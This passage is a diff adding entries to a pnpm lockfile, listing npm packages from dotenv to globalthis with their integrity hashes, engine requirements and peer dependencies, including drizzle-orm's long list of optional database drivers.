+ resolution: {integrity: sha512-lnOnttzfrzkRx2echxJHQRB6vOAMSCzzZg79IxpC00tU42wZPuZkQxNNrrwVAxaQZIIh001l4PxVlCrBxngBzA==}
+ hasBin: true
+
+ dotenv-expand@11.0.7:
+ resolution: {integrity: sha512-zIHwmZPRshsCdpMDyVsqGmgyP0yT8GAgXUnkdAoJisxvf33k7yO6OuoKmcTGuXPWSsm8Oh88nZicRLA9Y0rUeA==}
+ engines: {node: '>=12'}
+
+ dotenv@16.6.1:
+ resolution: {integrity: sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==}
+ engines: {node: '>=12'}
+
+ dotenv@17.2.3:
+ resolution: {integrity: sha512-JVUnt+DUIzu87TABbhPmNfVdBDt18BLOWjMUFJMSi/Qqg7NTYtabbvSNJGOJ7afbRuv9D/lngizHtP7QyLQ+9w==}
+ engines: {node: '>=12'}
+
+ drizzle-kit@1.0.0-beta.11-05230d9:
+ resolution: {integrity: sha512-dIv1Ql5SOJsGE/6mzfUk2k8iQFQtP6Buq7JlRew/Mx1uOOkIgyPT6xAUsSbyXqjqiDQl9k2S7iXtKaOs3Cs4aw==}
+ hasBin: true
+
+ drizzle-orm@1.0.0-beta.11-05230d9:
+ resolution: {integrity: sha512-y6i3AgHqeT5Eu/+7hsF1AWyPZQTxiBx1UOy4snEqljW7Fbpp/fO2zmWYFPvjngwOLq9prrbrn36AwCoTR+J2Bg==}
+ peerDependencies:
+ '@aws-sdk/client-rds-data': '>=3'
+ '@cloudflare/workers-types': '>=4'
+ '@effect/sql': ^0.48.5
+ '@effect/sql-pg': ^0.49.7
+ '@electric-sql/pglite': '>=0.2.0'
+ '@libsql/client': '>=0.10.0'
+ '@libsql/client-wasm': '>=0.10.0'
+ '@neondatabase/serverless': '>=0.10.0'
+ '@op-engineering/op-sqlite': '>=2'
+ '@opentelemetry/api': ^1.4.1
+ '@planetscale/database': '>=1.13'
+ '@prisma/client': '*'
+ '@sqlitecloud/drivers': '>=1.0.653'
+ '@tidbcloud/serverless': '*'
+ '@tursodatabase/database': '>=0.2.1'
+ '@tursodatabase/database-common': '>=0.2.1'
+ '@tursodatabase/database-wasm': '>=0.2.1'
+ '@types/better-sqlite3': '*'
+ '@types/mssql': ^9.1.4
+ '@types/pg': '*'
+ '@types/sql.js': '*'
+ '@upstash/redis': '>=1.34.7'
+ '@vercel/postgres': '>=0.8.0'
+ '@xata.io/client': '*'
+ better-sqlite3: '>=9.3.0'
+ bun-types: '*'
+ expo-sqlite: '>=14.0.0'
+ gel: '>=2'
+ mssql: ^11.0.1
+ mysql2: '>=2'
+ pg: '>=8'
+ postgres: '>=3'
+ prisma: '*'
+ sql.js: '>=1'
+ sqlite3: '>=5'
+ peerDependenciesMeta:
+ '@aws-sdk/client-rds-data':
+ optional: true
+ '@cloudflare/workers-types':
+ optional: true
+ '@effect/sql':
+ optional: true
+ '@effect/sql-pg':
+ optional: true
+ '@electric-sql/pglite':
+ optional: true
+ '@libsql/client':
+ optional: true
+ '@libsql/client-wasm':
+ optional: true
+ '@neondatabase/serverless':
+ optional: true
+ '@op-engineering/op-sqlite':
+ optional: true
+ '@opentelemetry/api':
+ optional: true
+ '@planetscale/database':
+ optional: true
+ '@prisma/client':
+ optional: true
+ '@sqlitecloud/drivers':
+ optional: true
+ '@tidbcloud/serverless':
+ optional: true
+ '@tursodatabase/database':
+ optional: true
+ '@tursodatabase/database-common':
+ optional: true
+ '@tursodatabase/database-wasm':
+ optional: true
+ '@types/better-sqlite3':
+ optional: true
+ '@types/pg':
+ optional: true
+ '@types/sql.js':
+ optional: true
+ '@upstash/redis':
+ optional: true
+ '@vercel/postgres':
+ optional: true
+ '@xata.io/client':
+ optional: true
+ better-sqlite3:
+ optional: true
+ bun-types:
+ optional: true
+ expo-sqlite:
+ optional: true
+ gel:
+ optional: true
+ mysql2:
+ optional: true
+ pg:
+ optional: true
+ postgres:
+ optional: true
+ prisma:
+ optional: true
+ sql.js:
+ optional: true
+ sqlite3:
+ optional: true
+
+ dunder-proto@1.0.1:
+ resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==}
+ engines: {node: '>= 0.4'}
+
+ ecdsa-sig-formatter@1.0.11:
+ resolution: {integrity: sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==}
+
+ edge-runtime@2.5.9:
+ resolution: {integrity: sha512-pk+k0oK0PVXdlT4oRp4lwh+unuKB7Ng4iZ2HB+EZ7QCEQizX360Rp/F4aRpgpRgdP2ufB35N+1KppHmYjqIGSg==}
+ engines: {node: '>=16'}
+ hasBin: true
+
+ electron-to-chromium@1.5.283:
+ resolution: {integrity: sha512-3vifjt1HgrGW/h76UEeny+adYApveS9dH2h3p57JYzBSXJIKUJAvtmIytDKjcSCt9xHfrNCFJ7gts6vkhuq++w==}
+
+ emoji-regex@9.2.2:
+ resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==}
+
+ emojis-list@3.0.0:
+ resolution: {integrity: sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==}
+ engines: {node: '>= 4'}
+
+ end-of-stream@1.1.0:
+ resolution: {integrity: sha512-EoulkdKF/1xa92q25PbjuDcgJ9RDHYU2Rs3SCIvs2/dSQ3BpmxneNHmA/M7fe60M3PrV7nNGTTNbkK62l6vXiQ==}
+
+ end-of-stream@1.4.5:
+ resolution: {integrity: sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==}
+
+ enhanced-resolve@5.18.4:
+ resolution: {integrity: sha512-LgQMM4WXU3QI+SYgEc2liRgznaD5ojbmY3sb8LxyguVkIg5FxdpTkvk72te2R38/TGKxH634oLxXRGY6d7AP+Q==}
+ engines: {node: '>=10.13.0'}
+
+ error-causes@3.0.2:
+ resolution: {integrity: sha512-i0B8zq1dHL6mM85FGoxaJnVtx6LD5nL2v0hlpGdntg5FOSyzQ46c9lmz5qx0xRS2+PWHGOHcYxGIBC5Le2dRMw==}
+
+ es-abstract@1.24.1:
+ resolution: {integrity: sha512-zHXBLhP+QehSSbsS9Pt23Gg964240DPd6QCf8WpkqEXxQ7fhdZzYsocOr5u7apWonsS5EjZDmTF+/slGMyasvw==}
+ engines: {node: '>= 0.4'}
+
+ es-define-property@1.0.1:
+ resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==}
+ engines: {node: '>= 0.4'}
+
+ es-errors@1.3.0:
+ resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==}
+ engines: {node: '>= 0.4'}
+
+ es-iterator-helpers@1.2.2:
+ resolution: {integrity: sha512-BrUQ0cPTB/IwXj23HtwHjS9n7O4h9FX94b4xc5zlTHxeLgTAdzYUDyy6KdExAl9lbN5rtfe44xpjpmj9grxs5w==}
+ engines: {node: '>= 0.4'}
+
+ es-module-lexer@1.4.1:
+ resolution: {integrity: sha512-cXLGjP0c4T3flZJKQSuziYoq7MlT+rnvfZjfp7h+I7K9BNX54kP9nyWvdbwjQ4u1iWbOL4u96fgeZLToQlZC7w==}
+
+ es-module-lexer@2.0.0:
+ resolution: {integrity: sha512-5POEcUuZybH7IdmGsD8wlf0AI55wMecM9rVBTI/qEAy2c1kTOm3DjFYjrBdI2K3BaJjJYfYFeRtM0t9ssnRuxw==}
+
+ es-object-atoms@1.1.1:
+ resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==}
+ engines: {node: '>= 0.4'}
+
+ es-set-tostringtag@2.1.0:
+ resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==}
+ engines: {node: '>= 0.4'}
+
+ es-shim-unscopables@1.1.0:
+ resolution: {integrity: sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==}
+ engines: {node: '>= 0.4'}
+
+ es-to-primitive@1.3.0:
+ resolution: {integrity: sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==}
+ engines: {node: '>= 0.4'}
+
+ esbuild@0.25.12:
+ resolution: {integrity: sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==}
+ engines: {node: '>=18'}
+ hasBin: true
+
+ esbuild@0.27.0:
+ resolution: {integrity: sha512-jd0f4NHbD6cALCyGElNpGAOtWxSq46l9X/sWB0Nzd5er4Kz2YTm+Vl0qKFT9KUJvD8+fiO8AvoHhFvEatfVixA==}
+ engines: {node: '>=18'}
+ hasBin: true
+
+ esbuild@0.27.2:
+ resolution: {integrity: sha512-HyNQImnsOC7X9PMNaCIeAm4ISCQXs5a5YasTXVliKv4uuBo1dKrG0A+uQS8M5eXjVMnLg3WgXaKvprHlFJQffw==}
+ engines: {node: '>=18'}
+ hasBin: true
+
+ escalade@3.2.0:
+ resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==}
+ engines: {node: '>=6'}
+
+ escape-string-regexp@4.0.0:
+ resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==}
+ engines: {node: '>=10'}
+
+ eslint-config-next@15.5.9:
+ resolution: {integrity: sha512-852JYI3NkFNzW8CqsMhI0K2CDRxTObdZ2jQJj5CtpEaOkYHn13107tHpNuD/h0WRpU4FAbCdUaxQsrfBtNK9Kw==}
+ peerDependencies:
+ eslint: ^7.23.0 || ^8.0.0 || ^9.0.0
+ typescript: '>=3.3.1'
+ peerDependenciesMeta:
+ typescript:
+ optional: true
+
+ eslint-import-resolver-node@0.3.9:
+ resolution: {integrity: sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==}
+
+ eslint-import-resolver-typescript@3.10.1:
+ resolution: {integrity: sha512-A1rHYb06zjMGAxdLSkN2fXPBwuSaQ0iO5M/hdyS0Ajj1VBaRp0sPD3dn1FhME3c/JluGFbwSxyCfqdSbtQLAHQ==}
+ engines: {node: ^14.18.0 || >=16.0.0}
+ peerDependencies:
+ eslint: '*'
+ eslint-plugin-import: '*'
+ eslint-plugin-import-x: '*'
+ peerDependenciesMeta:
+ eslint-plugin-import:
+ optional: true
+ eslint-plugin-import-x:
+ optional: true
+
+ eslint-module-utils@2.12.1:
+ resolution: {integrity: sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==}
+ engines: {node: '>=4'}
+ peerDependencies:
+ '@typescript-eslint/parser': '*'
+ eslint: '*'
+ eslint-import-resolver-node: '*'
+ eslint-import-resolver-typescript: '*'
+ eslint-import-resolver-webpack: '*'
+ peerDependenciesMeta:
+ '@typescript-eslint/parser':
+ optional: true
+ eslint:
+ optional: true
+ eslint-import-resolver-node:
+ optional: true
+ eslint-import-resolver-typescript:
+ optional: true
+ eslint-import-resolver-webpack:
+ optional: true
+
+ eslint-plugin-drizzle@0.2.3:
+ resolution: {integrity: sha512-BO+ymHo33IUNoJlC0rbd7HP9EwwpW4VIp49R/tWQF/d2E1K2kgTf0tCXT0v9MSiBr6gGR1LtPwMLapTKEWSg9A==}
+ peerDependencies:
+ eslint: '>=8.0.0'
+
+ eslint-plugin-import@2.32.0:
+ resolution: {integrity: sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==}
+ engines: {node: '>=4'}
+ peerDependencies:
+ '@typescript-eslint/parser': '*'
+ eslint: ^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9
+ peerDependenciesMeta:
+ '@typescript-eslint/parser':
+ optional: true
+
+ eslint-plugin-jsx-a11y@6.10.2:
+ resolution: {integrity: sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==}
+ engines: {node: '>=4.0'}
+ peerDependencies:
+ eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9
+
+ eslint-plugin-react-hooks@5.2.0:
+ resolution: {integrity: sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg==}
+ engines: {node: '>=10'}
+ peerDependencies:
+ eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0
+
+ eslint-plugin-react@7.37.5:
+ resolution: {integrity: sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==}
+ engines: {node: '>=4'}
+ peerDependencies:
+ eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7
+
+ eslint-scope@5.1.1:
+ resolution: {integrity: sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==}
+ engines: {node: '>=8.0.0'}
+
+ eslint-scope@8.4.0:
+ resolution: {integrity: sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ eslint-visitor-keys@3.4.3:
+ resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==}
+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}
+
+ eslint-visitor-keys@4.2.1:
+ resolution: {integrity: sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ eslint@9.39.2:
+ resolution: {integrity: sha512-LEyamqS7W5HB3ujJyvi0HQK/dtVINZvd5mAAp9eT5S/ujByGjiZLCzPcHVzuXbpJDJF/cxwHlfceVUDZ2lnSTw==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+ hasBin: true
+ peerDependencies:
+ jiti: '*'
+ peerDependenciesMeta:
+ jiti:
+ optional: true
+
+ espree@10.4.0:
+ resolution: {integrity: sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ esquery@1.7.0:
+ resolution: {integrity: sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==}
+ engines: {node: '>=0.10'}
+
+ esrecurse@4.3.0:
+ resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==}
+ engines: {node: '>=4.0'}
+
+ estraverse@4.3.0:
+ resolution: {integrity: sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==}
+ engines: {node: '>=4.0'}
+
+ estraverse@5.3.0:
+ resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==}
+ engines: {node: '>=4.0'}
+
+ estree-walker@2.0.2:
+ resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==}
+
+ esutils@2.0.3:
+ resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==}
+ engines: {node: '>=0.10.0'}
+
+ etag@1.8.1:
+ resolution: {integrity: sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==}
+ engines: {node: '>= 0.6'}
+
+ event-target-shim@5.0.1:
+ resolution: {integrity: sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==}
+ engines: {node: '>=6'}
+
+ events-intercept@2.0.0:
+ resolution: {integrity: sha512-blk1va0zol9QOrdZt0rFXo5KMkNPVSp92Eju/Qz8THwKWKRKeE0T8Br/1aW6+Edkyq9xHYgYxn2QtOnUKPUp+Q==}
+
+ events@3.3.0:
+ resolution: {integrity: sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==}
+ engines: {node: '>=0.8.x'}
+
+ execa@3.2.0:
+ resolution: {integrity: sha512-kJJfVbI/lZE1PZYDI5VPxp8zXPO9rtxOkhpZ0jMKha56AI9y2gGVC6bkukStQf0ka5Rh15BA5m7cCCH4jmHqkw==}
+ engines: {node: ^8.12.0 || >=9.7.0}
+
+ execa@5.1.1:
+ resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==}
+ engines: {node: '>=10'}
+
+ fast-content-type-parse@3.0.0:
+ resolution: {integrity: sha512-ZvLdcY8P+N8mGQJahJV5G4U88CSvT1rP8ApL6uETe88MBXrBHAkZlSEySdUlyztF7ccb+Znos3TFqaepHxdhBg==}
+
+ fast-deep-equal@3.1.3:
+ resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==}
+
+ fast-glob@3.3.1:
+ resolution: {integrity: sha512-kNFPyjhh5cKjrUltxs+wFx+ZkbRaxxmZ+X0ZU31SOsxCEtP9VPgtq2teZw1DebupL5GmDaNQ6yKMMVcM41iqDg==}
+ engines: {node: '>=8.6.0'}
+
+ fast-glob@3.3.3:
+ resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==}
+ engines: {node: '>=8.6.0'}
+
+ fast-json-stable-stringify@2.1.0:
+ resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==}
+
+ fast-levenshtein@2.0.6:
+ resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==}
+
+ fast-uri@3.1.0:
+ resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==}
+
+ fastq@1.20.1:
+ resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==}
+
+ fd-slicer@1.1.0:
+ resolution: {integrity: sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==}
+
+ fdir@6.5.0:
+ resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==}
+ engines: {node: '>=12.0.0'}
+ peerDependencies:
+ picomatch: ^3 || ^4
+ peerDependenciesMeta:
+ picomatch:
+ optional: true
+
+ file-entry-cache@8.0.0:
+ resolution: {integrity: sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==}
+ engines: {node: '>=16.0.0'}
+
+ file-uri-to-path@1.0.0:
+ resolution: {integrity: sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==}
+
+ fill-range@7.1.1:
+ resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==}
+ engines: {node: '>=8'}
+
+ find-up@5.0.0:
+ resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==}
+ engines: {node: '>=10'}
+
+ flat-cache@4.0.1:
+ resolution: {integrity: sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==}
+ engines: {node: '>=16'}
+
+ flatted@3.3.3:
+ resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==}
+
+ for-each@0.3.5:
+ resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==}
+ engines: {node: '>= 0.4'}
+
+ form-data@4.0.5:
+ resolution: {integrity: sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==}
+ engines: {node: '>= 6'}
+
+ fs-extra@11.1.0:
+ resolution: {integrity: sha512-0rcTq621PD5jM/e0a3EJoGC/1TC5ZBCERW82LQuwfGnCa1V8w7dpYH1yNu+SLb6E5dkeCBzKEyLGlFrnr+dUyw==}
+ engines: {node: '>=14.14'}
+
+ fs-minipass@2.1.0:
+ resolution: {integrity: sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==}
+ engines: {node: '>= 8'}
+
+ fsevents@2.3.3:
+ resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==}
+ engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
+ os: [darwin]
+
+ function-bind@1.1.2:
+ resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==}
+
+ function.prototype.name@1.1.8:
+ resolution: {integrity: sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==}
+ engines: {node: '>= 0.4'}
+
+ functions-have-names@1.2.3:
+ resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==}
+
+ generate-function@2.3.1:
+ resolution: {integrity: sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==}
+
+ generator-function@2.0.1:
+ resolution: {integrity: sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==}
+ engines: {node: '>= 0.4'}
+
+ generic-pool@3.4.2:
+ resolution: {integrity: sha512-H7cUpwCQSiJmAHM4c/aFu6fUfrhWXW1ncyh8ftxEPMu6AiYkHw9K8br720TGPZJbk5eOH2bynjZD1yPvdDAmag==}
+ engines: {node: '>= 4'}
+
+ get-intrinsic@1.3.0:
+ resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==}
+ engines: {node: '>= 0.4'}
+
+ get-nonce@1.0.1:
+ resolution: {integrity: sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==}
+ engines: {node: '>=6'}
+
+ get-proto@1.0.1:
+ resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==}
+ engines: {node: '>= 0.4'}
+
+ get-stream@5.2.0:
+ resolution: {integrity: sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==}
+ engines: {node: '>=8'}
+
+ get-stream@6.0.1:
+ resolution: {integrity: sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==}
+ engines: {node: '>=10'}
+
+ get-symbol-description@1.1.0:
+ resolution: {integrity: sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==}
+ engines: {node: '>= 0.4'}
+
+ get-tsconfig@4.13.0:
+ resolution: {integrity: sha512-1VKTZJCwBrvbd+Wn3AOgQP/2Av+TfTCOlE4AcRJE72W1ksZXbAx8PPBR9RzgTeSPzlPMHrbANMH3LbltH73wxQ==}
+
+ glob-parent@5.1.2:
+ resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==}
+ engines: {node: '>= 6'}
+
+ glob-parent@6.0.2:
+ resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==}
+ engines: {node: '>=10.13.0'}
+
+ glob-to-regexp@0.4.1:
+ resolution: {integrity: sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==}
+
+ glob@13.0.0:
+ resolution: {integrity: sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA==}
+ engines: {node: 20 || >=22}
+
+ globals@14.0.0:
+ resolution: {integrity: sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==}
+ engines: {node: '>=18'}
+
+ globalthis@1.0.4:
